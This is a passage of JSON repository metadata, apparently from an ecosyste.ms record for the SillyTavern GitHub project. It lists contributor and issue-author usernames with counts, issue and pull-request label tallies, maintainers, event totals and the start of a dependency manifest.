":1,"shyperson0":1,"minimimini":1,"euphobie":1,"CatapultingWizard":1,"lyc2333":1,"KTibow":1,"JimmyLoar":1,"TheOnlyJoeEnderman":1,"gh215":1,"Jefferderp":1,"Martyprod":1,"lazuee":1,"dimitritafatulin-spec":1,"gajendrasinghh198-cpu":1,"crazyd2sty":1,"user177013":1,"RedDragonGecko":1,"1Nu55et1":1,"anon-doofus":1,"gainsly":1,"zompiexx":1,"phly95":1,"Fuckingnameless":1,"JPFlare":1,"burnerfuckmyass":1,"shujingns":1,"Rinka96":1,"clbl07":1,"xyzdev-cell":1,"xifer":1,"ParaplegicRacehorse":1,"miaowmint":1,"HoloByteCode":1,"The-Istar":1,"xzuyn":1,"RowanSkie":1,"zimo810":1,"luxdelumine":1,"vallite0990":1,"NijikaMyWaifu":1,"endertargaryen":1,"marco-trovato":1,"arigoldstein":1,"Godoword":1,"night2049":1,"Zh12278":1,"Aragolt":1,"simonartt":1,"goldymarg":1,"Yishun3762":1,"CharsargCodeDevelopment":1,"Touitoui":1,"greenmeanking":1,"rahoyo":1,"digitalheir":1,"GodEmperor785":1,"BRUrban":1,"Interpause":1,"StageDog":1,"paken2":1,"bincooo":1,"choury":1,"icaihong":1,"Denubis":1,"khanonnie":1,"28animation":1,"ZhenyaPav":1,"sinlorekain":1,"Law-Hue":1,"MetalNymeria":1,"vistiny":1,"Cohee1207":1,"lenankamp":1,"AAbushady":1,"Johnsnow1049":1,"jane-doe-68":1,"aetherwu":1,"davostros":1,"ZhaoShanGeng":1,"Tom-Neverwinter":1,"mrovx":1,"Robot1me":1,"NihilEntropy":1,"258039":1,"Kas1o":1,"introvertedcreature":1,"Repth1":1,"ancientpower":1,"aoleg":1,"priamai":1,"perkel666":1,"xxzbill":1,"123456ds":1,"FemBoxbrawl":1,"lwstudy":1,"pyhornet":1,"jeffka11":1,"Jaevlon":1,"phiy":1,"Deathcow":1,"Nekotekina":1,"rshxyz":1,"pkm90":1,"closuretext":1,"Cristliu":1,"TeddyLord":1,"george7551858":1,"LovelyDeeCain":1,"ELind77":1,"Pavdig":1,"Tian42chen":1,"humiegit":1,"peer-cat":1,"qwerty54353":1,"iSilentBoss":1,"BarbariSS1":1,"vencabot":1,"yht4work":1,"P3il4":1,"Chozzc":1,"hyperionFM":1,"PinkSerenity":1,"Wuzzooy":1,"elfgoose":1,"feitianfu":1,"biotechie73":1,"tommywright":1,"monskock69":1,"razvanab":1,"4Waifu":1,"codeforgery":1,"Tralen":1,"m98bw":1,"uGuardian":1,"koerdoe":1,"refuckable":1,"Fr3ya":1,"PasserDreamer":1,"R18C188":1,"Jacoby1218":1,"a1anon":1,"ATMxsp01":1,"Vladonai":1,"ammar1y":1,"Lindemans124":1,"JasonLWalker":1,"jojobear13":1,"yitiaoaxiang":1,"PikoBit":1,"vrihatgan":1,"Orion-jpeg":1,"Dylan1100":1,"LeaderbotX400":1,"DjMaxd":1,"antonshusharin":1,"MerijnHendriks":1,"DAurielS":1,"jankos-night":1,"Larry-Schultz":1,"BlueFireNick":1,"IllIIllIlllIIl":1,"biship":1,"F1zzyD":1,"71cj34":1,"M4x-P0wer":1,"2good4hisowngood":1,"bugriver":1,"harrisonvanderbyl":1,"CallMeAl1973":1,"Nazgulup":1,"AconexOfficial":1,"Klounita":1,"Sajeas":1,"paniphons":1,"jim-plus":1,"God-damnit-all":1,"waynekwal":1,"FusionBrah":1,"Lion-Lawliet":1,"Covalent0714":1,"tnunamak":1,"limelangg":1,"Manofthechicken":1,"Gab991210":1,"zzc0208":1,"anonymous721":1,"sarasassa":1,"AqwamCreates":1,"theyonatan":1,"mfgAkilae":1,"YulienPohl":1,"Necroxix":1,"Nopm":1,"larry743223":1,"WovenTales":1,"ct204cb":1,"Agnuxo1":1,"missciera":1,"ylongly7":1,"SurniM":1,"Velour-Fog":1,"IamPatricKKK":1,"wickedcode01":1,"syazyz":1,"lovewormcn":1,"afad34838":1,"keybladegames":1,"Ekventor":1,"justthinksd":1,"ApplePieq":1,"zuiyue-com":1,"Andybui1012":1,"JanMyst":1,"kotwys":1,"Hanter9901":1,"bextoper":1,"hopexros":1,"epyllia":1,"imakesound":1,"ultranationalism":1,"rexts217":1,"whocares0101":1,"subwolf22":1,"libid0nes":1,"RaidersPlay":1,"tegant":1,"jehlers42":1,"Alice-Cheshire":1,"tarcs999":1,"Homiee223":1,"Hanabi111":1,"jdwjen":1,"dontcallmemrsu":1,"walterfreedom":1,"pidori-ne-poluchat-parol":1,"inflatebot":1,"Toroidal-meow":1,"rdeforest":1,"gina-lippold":1,"valadaptive":1,"theunstableman":1,"RodriMora":1,"lzhfdwu007":1,"X3gold":1,"DecodeTalker1":1,"Elevenlong1101":1,"AIairen888":1,"landones":1,"holdengand":1,"area57":1,"JuampiHernandez":1,"Kaizen-mini":1,"Type-32":1,"3ternal":1,"slayermaster":1,"OmaeWa21":1,"diaopal":1,"loaus1":1,"TiredFox65":1,"gunnarsal":1,"red-co":1,"ltsmokin":1,"hugalafutro":1,"cuiwolf":1,"shivshankar11":1,"cgwers":1,"doomiiiii":1,"chrisbennight":1,"ansztyk":1,"Finadil":1,"BelowSubway":1,"iarna":1,"theguywhogamesalot":1,"Verity-Freedom":1,"bushnerd":1,"Ripenen":1,"japkozjad":1,"blankuserrr":1,"ViolentVotan":1,"jinuxplain":1,"persplayer":1,"gurmewl":1,"Nyanana":1,"bdashore3":1,"macfrutt":1,"KyuubiYoru":1,"cecox01-byte":1,"Matdredalia":1,"soarkyfluffbutt":1,"LeMemeDream":1,"africsnail":1,"wilsonics":1,"Kikasuru":1,"Useeeeeerr":1,"dmitryplyaskin":1,"Zhen-Bo":1,"es697":1,"DekerVke":1,"PlanetSat0rnium":1,"matssk":1,"Notiee":1,"Tarcaxoxide":1,"rhdunn":1,"LuminousPath":1,"Elan-Ai":1,"LostRuins":1,"Sanjs333":1,"Archeb":1,"cepegue":1,"Aethrios":1,"kainatquaderee":1,"richardstevenhack":1,"FFFox-ST-Manager":1,"YunySun":1,"gdcolo7":1,"isr431":1,"anon-contributor-0":1,"Encoded404":1,"manwith33":1,"devdumyc":1,"Yone09":1,"ezciap":1,"Glitch303":1,"qvink":1,"Vantagevoin":1,"API-Beast":1,"XYZOTZ":1,"TongfanWeitf":1,"TheSystemGuy1337":1,"Paul-16098":1,"db0":1,"tailkinker":1,"Pinpolim":1,"anonCantCode":1,"lesser0":1,"Hibanan":1,"DonZiage":1,"Simon1V":1,"beenlee14":1,"Cyberes":1,"onessome":1,"Jerrycyx":1,"ro99":1,"theFisher86":1,"RandomUser1017":1,"Priestru":1,"Tantoofaaz777":1,"liangfeng000":1,"DEVrinter":1,"moyuxu-yu":1,"NeoTU":1,"Kingmiami":1,"Asirmoth":1,"mrweek0":1,"QFax":1,"Nitechno":1,"Juhraya":1,"Centurionzo12":1,"realyxl":1,"Xytheur":1,"Bruh98jpg":1,"Dobrovichok":1,"Our0b0r05":1,"CptDrago101":1,"Memerlin":1,"SukinoCreates":1,"thegreatGreenstar":1,"baconeater46":1,"livepairai-sudo":1,"larpedd":1,"ikeikeikeda66":1,"Anonymous8768":1,"Ariarial":1,"focomfy":1,"AphidGit":1,"mirh":1,"Eddieddg":1,"xswswswws":1,"bal-spec":1,"RockingSisyphus":1,"Gan-so":1,"RoyChong5053":1,"Moneysleeps":1,"MLBott":1,"wont-stream":1,"kaiser-chris":1,"Chilauta":1,"AeonBlack":1,"Kenqr":1,"sarutobiumon":1,"OgalFinklestein":1,"vfnm":1,"player99963":1,"goodmaney":1,"SarielAliceLee":1,"olandir":1,"JustTheDred":1,"F-Rotfuchs":1,"MateeJr":1,"13Angels":1,"ArakiSatoshi":1,"JorG941":1,"Feketerigo":1,"olkovi":1,"davidhtien":1,"Min9X1n":1,"asbelong":1,"CandyIsaChad":1,"deciare":1,"MableMunroe":1,"The-HOLLOW-Idiot":1,"5igm":1,"Sekoya78":1,"war-nightmare":1,"chatady-com":1,"VoidEmpty":1,"QwertyITA":1,"SmolNightHere312":1,"sdugoten":1,"VaporHail":1,"wrvsrx":1,"Elextrofaaxz":1,"StrangeUser":1,"cleverestx":1,"XieNanchuan":1,"BLGGS":1,"Teramanbr":1,"rc-zb":1,"Znpos901":1,"krazmuze":1,"Naevalos":1,"maccan-tech":1,"Weker01":1,"nightkall":1,"lifefuckingmoving":1,"GrissG":1,"mattvdp":1,"cj0596":1,"GalileoFe":1,"Xaisspe":1,"gakada":1,"MisterTwelve":1,"PaznicolasN":1,"CounterfeitMonk":1,"kfarr":1,"norasyeezys":1,"fuyn101":1,"HvskyAI":1,"Charuru":1,"A-Dream-Of-Illusionary-Senses":1,"WorfHolo":1,"NigaKniga":1,"Sunsetra":1,"PrincipalsOffice":1,"Sayayaya":1,"shwepsoff":1,"imChr1s":1,"YdayangY":1,"JeroenVogelpoel":1,"Crazya94":1,"wy580477":1,"ambitiousCC":1,"zip6como":1,"simproving":1,"Stefanperlarsson":1,"randoentity":1,"Moraure":1,"DNNYF":1,"xiaovssy":1,"mkg2145":1,"Roland4396":1,"IncognitoAnkh":1,"Munninn":1,"chuliorasch":1,"Mu2u":1,"Aletiy93":1,"oooku-ai":1,"Tatrabbit":1,"TiramisuJutsu":1,"Morgul":1,"MagicalAstrogy":1,"icarokizz":1,"MaterialMiko":1,"ShiroHusky":1,"KometFox":1,"fallysia-debug":1,"Silhygames":1,"FlareP1":1,"Montisaquadeis":1,"antonovmaxim":1,"k1287988804":1,"SubaruDesu":1,"darcula1993":1,"adamhj":1,"ArnoldDCoy":1,"markwardt01":1,"CasualAutopsy":1,"skippythemeh67":1,"GaelicThunder":1,"juhongjuhong5-netizen":1,"jrruethe":1,"cochese9000":1,"alpaccaplushie":1,"the-rite-of-belwick":1,"joetin":1,"blkot":1,"michwad":1,"huh342":1,"alpha-omicron":1,"JoyWeeler-099":1,"andersonarc":1,"udcat":1,"HoaiNL":1,"Welcome091":1,"Chroma01":1,"gleb-akhmerov":1,"multianimus":1,"Esalarc":1,"reydeljuego12345":1,"chals8":1,"iveszheng":1,"laczek14":1}},"pull_request_authors":{"table":{"Wolfsblvt":235,"Cohee1207":212,"bmen25124":44,"steve02081504":38,"LenAnderson":34,"RivelleDays":31,"ceruleandeep":30,"cloak1505":29,"Yokayo":27,"qvink":25,"Dakraid":24,"Vibecoder9000":24,"RossAscends":24,"kallewoof":23,"Succubyss":21,"AlpinDale":17,"InspectorCaracal":16,"Erquint":15,"M0ch0":15,"Reithan":13,"pcpthm":13,"bdashore3":13,"sirius422":12,"Bronya-Rand":12,"Technologicat":11,"equal-l2":11,"kingbased":10,"WolframRavenwolf":10,"honey-tree":10,"felger1115":10,"erew123":9,"QuantumEntangledAndy":9,"tincansimagine":9,"Risenafis":8,"deffcolony":8,"RyuraNN":8,"AAbushady":8,"artisticMink":8,"Tosd0":8,"aikohanasaki":7,"valadaptive":7,"Samueras":7,"DrMkdaddy":7,"linkpharm":7,"50h100a":7,"sasha0552":7,"m98bw":7,"Cyberes":7,"IceFog72":7,"joenunezb":7,"Christoph-D":7,"DAurielS":6,"EricVangogh":6,"Scarlet-t":6,"wickedcode01":6,"BPplays":6,"BismuthGlass":6,"dependabot[bot]":6,"X00LA":6,"HiroseKoichi":6,"racinmat":6,"berbant":6,"Autumnlight02":6,"subzero5544":5,"MAX-TAB":5,"Sevenyine":5,"imesha10":5,"dvejmz":5,"johnbenac":5,"awaae001":5,"YunZLu":5,"kalomaze":5,"yar3333":5,"DreamGenX":5,"leandrojofre":5,"splitclover":4,"khanonnie":4,"QueirozT":4,"Goshe-nite":4,"TensorNull":4,"DJCallyman":4,"DocShotgun":4,"invisietch":4,"AyeeMinerva":4,"gwentman":4,"Beinsezii":4,"deciare":4,"DarokCx":4,"ghost":4,"ayancey":4,"powercaller":4,"fishBone000":4,"v3ucn":4,"28GO":4,"PeterDaveHello":4,"underscorex86":4,"SolidSnacke":4,"GhostXia":4,"uberubert":4,"snowby666":4,"kingbri1":4,"Eradev":4,"nfuller286":3,"zonde306":3,"waht41":3,"zhongerxll":3,"Sovex666":3,"AliceRabbit":3,"som1tokmynam":3,"shantum":3,"Radovenchyk":3,"InterestingDarknessII":3,"lucyknada":3,"scribagalaticus":3,"Esalarc":3,"gakada":3,"PasserDreamer":3,"Finadil":3,"Teashrock":3,"omahs":3,"EugeoSynthesisThirtyTwo":3,"yokuminto":3,"stevelittlefish":3,"StageDog":3,"FriedCaper":3,"Ivruix":3,"aisu-wata0":3,"BlueprintCoding":3,"iarna":3,"rsxdalv":3,"Zhen-Bo":3,"wrvsrx":3,"edk208":3,"bal-spec":3,"axAilotl":3,"fyne4247":2,"Vhallo":2,"dylan1951":2,"yarathenomad":2,"nyxish":2,"paniphons":2,"mayapony":2,"A1KESH1":2,"PiersHG":2,"BooleanWhale":2,"EnergoStalin":2,"Nero10578":2,"FineLime":2,"ThisIsPIRI":2,"alexdenton123":2,"Touch-Night":2,"cierru":2,"Paul-16098":2,"KaraKaraWitch":2,"Attila180":2,"BrianKim2000-code":2,"braxton-p":2,"MoonlightByte":2,"cciradih":2,"Lisanjin":2,"asd174521":2,"CasualAutopsy":2,"octo-patch":2,"BrendanMcCauley":2,"lunestialsaturn":2,"Pasharet":2,"route-404-gh":2,"DragonFSKY":2,"caesarw":2,"Bruce-Yii":2,"jeremybrad":2,"LuminousPath":2,"kings9527":2,"Quairon-Nailo":2,"julez122":2,"procule":2,"hyouo":2,"xifer":2,"Makosful":2,"xiaocilebi":2,"kakhulu31":2,"KTibow":2,"tgies":2,"coffeegrind123":2,"D1m7asis":2,"ashishch432":2,"xmccln":2,"lxcxjxhx":2,"closuretext":2,"McCoxmaul":2,"samuelx5":2,"jk2K":2,"ransxd":2,"P3il4":2,"NiklasWilson":2,"blueswolf":2,"danding5":2,"akvadrako":2,"parsedone":2,"saitewasreset":2,"isaac-mcfadyen":2,"richardhristov":2,"fearmear":2,"DaDarlian-Warna":2,"sakhavhyand":2,"jperla":2,"duguyixiaono1":2,"conornash":2,"zerofata":2,"leoncjgjk":2,"Trahloc":2,"dronemaid":2,"Jasonnor":2,"fizzAI":2,"bbastex":2,"Blazzycrafter":2,"maxime-fleury":2,"soyangel":2,"Sorro123":2,"Chen188":2,"sm1945":2,"aalizelau":2,"WanderingMouse":2,"LeZeez":2,"koshisan":2,"Mintberry1":2,"Alyndiar":2,"jojogladman":2,"StefanDanielSchwarz":2,"nbrown725":2,"pl752":2,"NijikaMyWaifu":2,"ptm0000":2,"lesser0":2,"theo77186":2,"TingTung93":2,"Culpeo":2,"AUTOMATIC1111":2,"chjs0711":2,"pandora-s-git":2,"Himickoff":2,"DeathStalker471":2,"Kas1o":2,"Ecalose":1,"derryanna":1,"chungchandev":1,"JarodMica":1,"oobabooga":1,"blackmesataiwan":1,"rottinrakastaja":1,"Shalistera":1,"RowanAldean":1,"Godoword":1,"NodudeWasTaken":1,"yca321":1,"oslatt":1,"tse00022":1,"africsnail":1,"rrosmarinuss":1,"lancerdl":1,"daiaji":1,"zxcPandora":1,"btaskel":1,"twicemonsterra":1,"jenrzzz":1,"shanmaocc":1,"ZhenyaPav":1,"Aimagine-life":1,"uGuardian":1,"02loka":1,"Hibanan":1,"kir-gadjello":1,"kuroneko1996":1,"iA-coding":1,"saturdaythrowaway":1,"AlexVeeBee":1,"shangrilaLI":1,"AphidGit":1,"buzz":1,"ivan-digital":1,"AjayK47":1,"maxcarl":1,"pivlarek":1,"SSJGabraham":1,"eugencowie":1,"Chris-behind-door":1,"lzylyd":1,"daviddaven-port":1,"harrisonvanderbyl":1,"aiapienthusiast":1,"tobitus":1,"planetryan":1,"TheLonelyDevil9":1,"eduard93":1,"Janaka-Steph":1,"VoicelessCoffee":1,"henk717":1,"1756141021":1,"Hydroerotic":1,"WBlair1":1,"ryzendigo":1,"johnflux":1,"andrempiva":1,"evpeople":1,"frankschubert":1,"einstein95":1,"sigmareaver":1,"chenshu007":1,"vitorfdl":1,"KhreedAI":1,"Illustar0":1,"PikachuEXE":1,"Lockyer228":1,"M1yamoto-Musash1":1,"hexa4ce":1,"lxcin":1,"witten":1,"Moli13337":1,"ClayShoaf":1,"tandede":1,"JuampiHernandez":1,"tkabala":1,"peer-cat":1,"Tom-Neverwinter":1,"Ming2k8-Coder":1,"LazyPeterGriffin":1,"kanmax92":1,"Rawi1005":1,"styxadmin":1,"avianion":1,"Ni-co-la-s":1,"maeeeeee":1,"Iommed":1,"Solaris-star":1,"ArEnSc":1,"MohammadHijjawi97":1,"mekineer-com":1,"hikinikuy":1,"smiraldr":1,"CaseyHaralson":1,"renq1f":1,"EX3-0":1,"DeclineThyself":1,"Alks0":1,"hermanrous":1,"jiweiyeah":1,"jprea9ghjaepoh":1,"iamoeco":1,"as-gh2":1,"shivshankar11":1,"godup233-hash":1,"AALG123":1,"LordAlbior":1,"Eughenes90":1,"GoAwayNow":1,"JoStevens1":1,"huisman":1,"m-petra-fn":1,"Dr-Asimov":1,"kwaroran":1,"kokansei":1,"mtibke":1,"ruolike151":1,"es697":1,"majick":1,"chengzeyi":1,"IrisYagami":1,"X-T-E-R":1,"kainatquaderee":1,"Llhhy1":1,"Abdulhanan535":1,"MicroHEROX":1,"kiradzS":1,"UrBoiTom":1,"thegreatGreenstar":1,"jvstinian":1,"Robinnnnn":1,"d-ber":1,"realyxl":1,"DysAnia1013":1,"Reinvy":1,"crsp6447":1,"notfiz":1,"poipoi300":1,"primorLee":1,"error-usernotavailable":1,"Xie-free":1,"Saref111":1,"Schoolboss987":1,"dopp1e":1,"pi6am":1,"LumiWasTaken":1,"shoemoney":1,"AndreiNicu":1,"towardreal":1,"Spappz":1,"ershang-fireworks":1,"davidhahn88":1,"GregW6":1,"0-don":1,"0x4kgi":1,"Boof2015":1,"NicodeSS":1,"24adamcho":1,"Rsslone":1,"test157t":1,"lannashelton":1,"Chigoma333":1,"FlippRipp":1,"Spacellary":1,"Totoro-qaq":1,"VeroFess":1,"unnaturaldeveloper":1,"Weker01":1,"cosark":1,"Ristellise":1,"gamerboi9999":1,"chen-jiying":1,"TokenBard":1,"0cyris":1,"LeenHawk":1,"nyxkrage":1,"ludoland59815981-eng":1,"alpha-omicron":1,"IamPatricKKK":1,"Kaiten10":1,"contrataco":1,"Lykr":1,"CBOSSX":1,"rohal12":1,"arnavprabhu":1,"zhujun-123":1,"seven7763":1,"ProcrastLife":1,"Avinash99b":1,"creamsan":1,"Endebert":1,"lukasstraub2":1,"CodeBoy2006":1,"blindedscience":1,"Thibaultjaigu":1,"KazPulse":1,"cahvay":1,"CarlosNahuelcoy":1,"toastli":1,"Tony-sama":1,"Max-Gomez":1,"notzgok":1,"Therosin":1,"CoffeeVampir3":1,"Nepenthe-fq":1,"Fyphen1223":1,"KritBlade":1,"10sa":1,"fahadazizahmed":1,"mrguymiah":1,"valden80":1,"Lookoff-AIMLAPI":1,"jinhaosong-source":1,"NearEDGE":1,"daswer123":1,"Surye":1,"leopardracer":1,"ibrahim4433":1,"StealthNinja1O1":1,"dllt98":1,"Marridreg":1,"infersia":1,"hugoaimlapi":1,"HiUnikitty":1,"thanhnhungdo198-prog":1}},"host":{"table":{"name":"GitHub","url":"https://github.com","kind":"github","last_synced_at":"2026-10-25T00:00:09.564Z","repositories_count":18209323,"issues_count":48957807,"pull_requests_count":150888351,"authors_count":12111238,"icon_url":"https://github.com/github.png","host_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub","repositories_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/repositories","owners_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/owners","authors_url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors"}},"past_year_issue_labels_count":{"table":{"🐛 Bug":58,"🦄 Feature Request":48,"🪟 Windows":7,"👍 Approved":6,"✅ Done (staging)":3,"🪲 Confirmed":3,"🤖 API / Model":3,"🐧 Linux":3,"🗺️ World Info":3,"❕ Medium Priority":2,"🧩 Macros":2,"🚧 Alternative Exists":2,"🚄 Performance":2,"⚰️ Stale":2,"📱 Termux":2,"🌟 UX":2,"🧠 Reasoning":1,"💀 Spam":1,"✅ Done":1,"📱 Mobile":1,"✖️ Not Reproducible":1,"🛑 Out of Scope":1,"👩‍💻 Good First Issue":1}},"past_year_pull_request_labels_count":{"table":{"🟩 ⬤○○○○":25,"🤖 API / Model":18,"🏭 Backend Changes":17,"🦋 Bug Fix":16,"✨ Feature Changes":14,"🟨 ⬤⬤⬤○○":13,"🟩 ⬤⬤○○○":11,"🌱 Minor Changes":9,"➕ Extension":9,"✨ New Feature":7,"🧠 Reasoning":6,"📕 Docs":5,"🚚 Refactor":5,"🚄 Performance":5,"🎙️ TTS / Voice":5,"👷 Maintainer":5,"🟧 ⬤⬤⬤⬤○":4,"🔨 Tool Calling":4,"🔨 Needs Work":3,"📜 Prompt":3,"❗ Against Release Branch":3,"💄 Stylistic Changes":3,"🔜 Superseded":3,"🖼️ Image Gen":3,"⛔ Don't Merge":2,"📥 Dependencies":2,"🗺️ World Info":2,"🌟 UX":2,"🤔 Unsure":2,"🔬 Needs Testing":2,"🟥 ⬤⬤⬤⬤⬤":2,"📱 Mobile":1,"🦼 Accessibility":1,"🏗️ Architectural Changes":1,"💥💣 Breaking Changes":1,"🛠️ Build Changes":1,"🛠️ Build Changes / Workflows":1,"⚙️ config.yaml":1,"🪲 Confirmed":1,"⚠️ High Priority":1,"🌐 Language":1,"❕ Medium Priority":1,"🚫 Merge Conflicts":1,"⚙️ Preset":1,"💀 Spam":1,"📜 STscript":1,"✨ Vibe Coded":1}},"past_year_issue_author_associations_count":{"table":{"NONE":124,"CONTRIBUTOR":12}},"past_year_pull_request_author_associations_count":{"table":{"NONE":159,"CONTRIBUTOR":50,"MEMBER":6}},"past_year_issue_authors":{"table":{"normana234":3,"LancelotChanrsw":2,"devincenziclaudia94-blip":2,"dariusmccloud":2,"jojogladman":2,"rlach":2,"ferhimedamine":2,"chenshu007":2,"larpedd":1,"mrweek0":1,"Naevalos":1,"OdinVex":1,"OKN1212":1,"peer-cat":1,"Ph0rk0z":1,"PikoBit":1,"Pinpolim":1,"QianQian2077":1,"Quairon-Nailo":1,"leandrojofre":1,"lifefuckingmoving":1,"limelangg":1,"livepairai-sudo":1,"LurkerHub":1,"luxdelumine":1,"luzhenyi0115-like":1,"m8rr":1,"m98bw":1,"MagicalAstrogy":1,"manofphysics":1,"Matdredalia":1,"Memebread":1,"MerijnHendriks":1,"Moli13337":1,"Montisaquadeis":1,"xtul9":1,"Xaisspe":1,"whiskeyfur":1,"Welcome091":1,"WBlair1":1,"vorpal-void":1,"vivekgupta-memcode":1,"Vibecoder9000":1,"vegitableoil":1,"uGuardian":1,"udcat":1,"TiredFox65":1,"TimCollins31":1,"Theking1313":1,"The-Istar":1,"thegreatGreenstar":1,"terurouterurou9-dev":1,"Teashrock":1,"Tantoofaaz777":1,"syddsparty":1,"syazyz":1,"Summanen":1,"ssfdre38":1,"slydog3333":1,"sdugoten":1,"sbstn87":1,"Sanjs333":1,"Roland4396":1,"Rinka96":1,"reynard-vulpes":1,"realyxl":1,"laczek14":1,"cursor[bot]":1,"cuihuan":1,"Crozzwise":1,"connerlambden":1,"cloak1505":1,"chatady-com":1,"CFalcon075":1,"cepegue":1,"cecox01-byte":1,"CasualAutopsy":1,"burnerfuckmyass":1,"brunsonator3":1,"brokenwing":1,"boneylizard":1,"biotechie73":1,"bal-spec":1,"ATMxsp01":1,"area57":1,"ansztyk":1,"ampcpmgp":1,"alpha-omicron":1,"Alkohole":1,"Alice-Cheshire":1,"alanmccallum":1,"AIairen888":1,"Agnuxo1":1,"aelfwyne":1,"8u6man":1,"67372a":1,"1015g":1,"kzorin52":1,"krazmuze":1,"julez122":1,"juhongjuhong5-netizen":1,"JuampiHernandez":1,"JeroenVogelpoel":1,"jane-doe-68":1,"iveszheng":1,"IllIIllIlllIIl":1,"ikeikeikeda66":1,"IamPatricKKK":1,"Hooty-McOwlface":1,"HoaiNL":1,"Hibanan":1,"haterfactory":1,"hadar555":1,"God-damnit-all":1,"Glitch303":1,"ghost":1,"gajendrasinghh198-cpu":1,"Fr3ya":1,"Feldherren":1,"fallysia-debug":1,"es697":1,"Erquint":1,"Encoded404":1,"Ekventor":1,"dynilath":1,"DNNYF":1,"DEVrinter":1}},"past_year_pull_request_authors":{"table":{"RyuraNN":8,"m98bw":7,"Christoph-D":7,"DrMkdaddy":7,"Wolfsblvt":6,"Samueras":4,"fishBone000":4,"qvink":3,"Reithan":3,"scribagalaticus":3,"axAilotl":3,"tgies":2,"julez122":2,"nyxish":2,"jperla":2,"jojogladman":2,"octo-patch":2,"Jasonnor":2,"cloak1505":2,"DragonFSKY":2,"ransxd":2,"DaDarlian-Warna":2,"DeathStalker471":2,"Bruce-Yii":2,"bbastex":2,"kings9527":2,"koshisan":2,"saitewasreset":2,"AUTOMATIC1111":2,"ashishch432":2,"MoonlightByte":2,"maxime-fleury":2,"fyne4247":2,"lxcxjxhx":2,"realyxl":1,"Reinvy":1,"Robinnnnn":1,"rohal12":1,"primorLee":1,"planetryan":1,"peer-cat":1,"oslatt":1,"notzgok":1,"mtibke":1,"Moli13337":1,"MohammadHijjawi97":1,"MicroHEROX":1,"mekineer-com":1,"Max-Gomez":1,"maxcarl":1,"M1yamoto-Musash1":1,"lzylyd":1,"thegreatGreenstar":1,"TheLonelyDevil9":1,"Thibaultjaigu":1,"tkabala":1,"tobitus":1,"TokenBard":1,"Tom-Neverwinter":1,"Totoro-qaq":1,"Trahloc":1,"uGuardian":1,"unnaturaldeveloper":1,"UrBoiTom":1,"Xie-free":1,"ZhenyaPav":1,"zhujun-123":1,"zonde306":1,"RowanAldean":1,"Rsslone":1,"ruolike151":1,"ryzendigo":1,"seven7763":1,"Shalistera":1,"shangrilaLI":1,"shoemoney":1,"sigmareaver":1,"smiraldr":1,"Solaris-star":1,"som1tokmynam":1,"StealthNinja1O1":1,"styxadmin":1,"tandede":1,"Teashrock":1,"eduard93":1,"Dr-Asimov":1,"derryanna":1,"crsp6447":1,"contrataco":1,"CoffeeVampir3":1,"CodeBoy2006":1,"chungchandev":1,"Chris-behind-door":1,"chenshu007":1,"chen-jiying":1,"chengzeyi":1,"CBOSSX":1,"CarlosNahuelcoy":1,"btaskel":1,"bal-spec":1,"awaae001":1,"Avinash99b":1,"avianion":1,"arnavprabhu":1,"ArEnSc":1,"AndreiNicu":1,"alpha-omicron":1,"AjayK47":1,"Aimagine-life":1,"aikohanasaki":1,"aiapienthusiast":1,"AALG123":1,"1756141021":1,"0x4kgi":1,"0-don":1,"0cyris":1,"Lykr":1,"lxcin":1,"lukasstraub2":1,"ludoland59815981-eng":1,"LordAlbior":1,"Lookoff-AIMLAPI":1,"Lockyer228":1,"Llhhy1":1,"LazyPeterGriffin":1,"lancerdl":1,"kuroneko1996":1,"KritBlade":1,"kanmax92":1,"JuampiHernandez":1,"jiweiyeah":1,"jinhaosong-source":1,"JarodMica":1,"ivan-digital":1,"infersia":1,"Illustar0":1,"ibrahim4433":1,"IamPatricKKK":1,"iamoeco":1,"hugoaimlapi":1,"Hibanan":1,"hermanrous":1,"godup233-hash":1,"frankschubert":1,"Eughenes90":1,"es697":1,"Endebert":1,"einstein95":1}},"maintainers":[{"table":{"login":"Cohee1207","count":213,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Cohee1207"}},{"table":{"login":"Wolfsblvt","count":189,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"}},{"table":{"login":"RossAscends","count":24,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/RossAscends"}},{"table":{"login":"deffcolony","count":7,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/deffcolony"}},{"table":{"login":"jvstinian","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/jvstinian"}},{"table":{"login":"PikachuEXE","count":1,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/PikachuEXE"}}],"active_maintainers":[{"table":{"login":"Wolfsblvt","count":6,"url":"https://issues.ecosyste.ms/api/v1/hosts/GitHub/authors/Wolfsblvt"}}]}},"events":{"total":{"CommitCommentEvent":18,"CreateEvent":164,"DeleteEvent":125,"DiscussionEvent":12,"ForkEvent":2049,"IssueCommentEvent":3208,"IssuesEvent":1395,"PullRequestEvent":1594,"PullRequestReviewCommentEvent":1520,"PullRequestReviewEvent":1526,"PushEvent":871,"ReleaseEvent":2,"WatchEvent":11325},"last_year":{"CommitCommentEvent":7,"CreateEvent":84,"DeleteEvent":109,"DiscussionEvent":11,"ForkEvent":287,"IssueCommentEvent":947,"IssuesEvent":504,"PullRequestEvent":916,"PullRequestReviewCommentEvent":681,"PullRequestReviewEvent":611,"PushEvent":652,"ReleaseEvent":2,"WatchEvent":2210}},"keywords":["ai","chat","llm"],"dependencies":[{"ecosystem":"actions","filepath":".github/workflows/npm-publish.yml","sha":null,"kind":"manifest","created_at":"2023-09-22T14:35:59.671Z","updated_at":"2023-09-22T14:35:59.671Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/.github/workflows/npm-publish.yml","dependencies":[{"id":13876247425,"package_name":"actions/checkout","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false},{"id":13876247426,"package_name":"actions/setup-node","ecosystem":"actions","requirements":"v3","direct":true,"kind":"composite","optional":false}]},{"ecosystem":"docker","filepath":"Dockerfile","sha":null,"kind":"manifest","created_at":"2023-09-22T14:35:59.962Z","updated_at":"2023-09-22T14:35:59.962Z","repository_link":"https://github.com/SillyTavern/SillyTavern/blob/release/Dockerfile","dependencies":[{"id":13876247456,"package_name":"node","ecosystem":"docker","requirements":"19.1.0-alpine3.16","direct":true,"kind